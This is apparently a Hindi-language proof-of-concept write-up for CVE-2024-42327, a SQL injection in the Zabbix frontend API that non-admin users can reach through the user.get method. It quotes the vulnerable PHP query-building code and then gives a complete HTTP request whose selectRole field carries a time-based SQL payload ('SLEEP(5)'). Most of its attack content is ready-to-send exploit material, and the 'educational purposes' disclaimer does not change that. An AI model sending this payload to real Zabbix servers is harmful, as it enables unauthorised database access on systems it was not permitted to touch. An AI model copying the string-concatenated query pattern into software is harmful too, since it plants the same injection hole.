
CVE-2024-42327 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Zabbix फ्रंटएंड API में एक SQL इंजेक्शन भेद्यता है, जो गैर-एडमिन उपयोगकर्ताओं को user.get विधि के माध्यम से मनमाना SQL क्वेरी निष्पादित करने की अनुमति देती है।
Zabbix फ्रंटएंड पर एक गैर-प्रशासक उपयोगकर्ता खाता, जिसमें डिफ़ॉल्ट उपयोगकर्ता भूमिका है, या कोई अन्य भूमिका जो API पहुंच प्रदान करती है, इस कमज़ोरी का शोषण कर सकता है। CUser वर्ग में addRelatedObjects फ़ंक्शन में एक SQLi मौजूद है, यह फ़ंक्शन CUser.get फ़ंक्शन से कॉल किया जा रहा है जो हर उस उपयोगकर्ता के लिए उपलब्ध है जिसके पास API पहुंच है।
यह स्क्रिप्ट केवल शैक्षणिक उद्देश्यों के लिए प्रदान की गई है!
निम्नलिखित कोड संस्करण 6.0.31 से SQLi के लिए संवेदनशील है:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
निम्नलिखित कॉल कमज़ोरी को ट्रिगर करता है:
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}